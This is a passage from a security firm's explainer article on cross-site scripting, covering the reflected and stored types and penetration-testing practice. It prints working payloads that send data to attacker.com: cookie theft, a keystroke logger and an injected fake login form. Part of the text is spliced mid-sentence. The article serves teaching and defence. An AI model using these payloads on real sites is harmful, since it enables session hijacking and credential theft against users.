Precursor Security
` payload proves a vulnerability exists. In a real engagement, the following payloads demonstrate business impact. Penetration testers use these to show what a real attacker could achieve with the same entry point."}},{"@type":"Question","name":"How do penetration testers find cross-site scripting vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"The first phase is input surface enumeration. Every point at which the application accepts user input is a candidate: form fields, URL parameters, HTTP headers (particularly `Referer`, `User-Agent`, and custom headers), file upload names, WebSocket messages, and API request bodies. In modern single-page applications, this surface is substantially larger than it appears from the UI."}},{"@type":"Question","name":"Why do modern frameworks not eliminate XSS?","acceptedAnswer":{"@type":"Answer","text":"React, Angular, and Vue escape output by default when rendering variables. This is a meaningful baseline protection for template-rendered content. The problem is the explicit bypass mechanisms that developers regularly use when they need to render formatted content, imported HTML, or third-party output."}},{"@type":"Question","name":"Why does Content Security Policy not prevent XSS on its own?","acceptedAnswer":{"@type":"Answer","text":"Content Security Policy (CSP) is a browser-side control that restricts which scripts a page is permitted to load and execute. A well-configured CSP can significantly reduce the exploitability of XSS vulnerabilities. It is not a substitute for fixing the underlying injection flaw."}},{"@type":"Question","name":"How does XSS chain with other vulnerabilities?","acceptedAnswer":{"@type":"Answer","text":"Cross-site scripting becomes substantially more dangerous when it intersects with other weaknesses in the same application."}},{"@type":"Question","name":"How do you prevent cross-site scripting?","acceptedAnswer":{"@type":"Answer","text":"Effective XSS prevention requires controls at multiple layers. No single control is sufficient on its own."}}]}]
Intelligence Library
Article

Cross-site scripting (XSS): types, examples, and how to prevent it

9 April 2026
·
15 min read
·Precursor Security

Cross-site scripting (XSS) is a vulnerability where an attacker injects malicious scripts into web pages viewed by other users. Classified under CWE-79 and ranked A03:2021 in the OWASP Top 10, XSS remains one of the most reported vulnerability classes in web application security testing. It persists because it exploits the browser's fundamental trust in the domain it is visiting, not a flaw in any single technology.

[INSERT VISUAL: XSS attack flow diagram. Three horizontal lanes — Reflected, Stored, DOM-based — showing payload injection point, delivery path, victim browser execution, and attacker data receipt]


What is cross-site scripting?

Cross-site scripting works because browsers trust scripts that originate from the domain they are visiting. When an application fails to handle user-supplied input before rendering it in the browser, an attacker can inject JavaScript that executes with the same privileges as the legitimate application code.

The injected script can read session cookies, interact with the DOM, make authenticated API calls, and perform any action the application itself can perform, all in the context of the victim's session. The attacker is not breaking into the server. They are turning the server's own trust relationship with the victim's browser against the victim.

XSS is formally classified under CWE-79: Improper Neutralization of Input During Web Page Generation. OWASP groups it under A03:2021 Injection. OWASP's testing methodology covers it across three test cases: WSTG-INPV-01 (Reflected XSS), WSTG-INPV-02 (Stored XSS), and WSTG-CLNT-01 (DOM-based XSS). The vulnerability class has held a place in the MITRE CWE Top 25 continuously since that list was first published.


What are the three types of cross-site scripting?

[INSERT VISUAL: GEO comparison table — XSS types, persistence, attack vector, detection method, severity, example]

Reflected XSS

Reflected XSS occurs when a payload is included in a request, typically a URL parameter, and the application returns it in the response without sanitisation. The payload is not stored. It exists only in the crafted URL and the response that URL generates.

The victim must click a link containing the payload. This creates a social engineering dependency, but the delivery mechanism is straightforward: a phishing email, a forum post, a shortened URL that obscures the contents. A search function that displays the search term in results without encoding it is a classic vector:

<p>Results for: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></p>

The browser executes the script immediately. The victim sees nothing unusual.

Stored XSS

Stored XSS is more dangerous than reflected XSS because the payload is saved in the application's database and served to every user who loads the affected page. No crafted link is required: any user who browses to the page triggers the script.

The typical vector is a comment field, forum post, or profile field that accepts input and renders it in HTML without sanitisation. The attacker submits a comment containing a payload proves a vulnerability exists. In a real engagement, the following payloads demonstrate business impact. Penetration testers use these to show what a real attacker could achieve with the same entry point.

Cookie theft via fetch:

<script>fetch('https://attacker.com/log?c='+encodeURIComponent(document.cookie))</script>

This exfiltrates all cookies accessible to JavaScript on the current domain. Where the session cookie lacks the HttpOnly flag, the attacker receives a valid session token they can replay to access the account directly.

Keylogger injection:

<script>
document.addEventListener('keydown', function(e) {
  fetch('https://attacker.com/keys?k='+encodeURIComponent(e.key));
});
</script>

This captures every keystroke in the browser tab: passwords, credit card numbers, messages. It runs silently with no visible indication to the user.

Admin session hijack via stored XSS:

When a stored XSS payload executes in an admin user's session, the attacker can use fetch() to make authenticated requests as that administrator: creating backdoor accounts, exfiltrating user data, or modifying application configuration. No credentials are required. The admin's session does the work.

In-page phishing via DOM manipulation:

<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999"><h2>Session expired. Please sign in again.</h2><form action="https://attacker.com/harvest">Username: <input name="u"><br>Password: <input type="password" name="p"><br><input type="submit" value="Sign in"></form></div>';
</script>

This replaces page content with a fake login form served from the legitimate domain. The address bar shows the correct URL. TLS is valid. There is no phishing indicator for the user to detect.


How do penetration testers find cross-site scripting vulnerabilities?

The first phase is input surface enumeration. Every point at which the application accepts user input is a candidate: form fields, URL parameters, HTTP headers (particularly Referer, User-Agent, and custom headers), file upload names, WebSocket messages, and API request bodies. In modern single-page applications, this surface is substantially larger than it appears from the UI.

Test payloads are injected with encoding variations to probe both reflection and filter logic. Testers do not rely solely on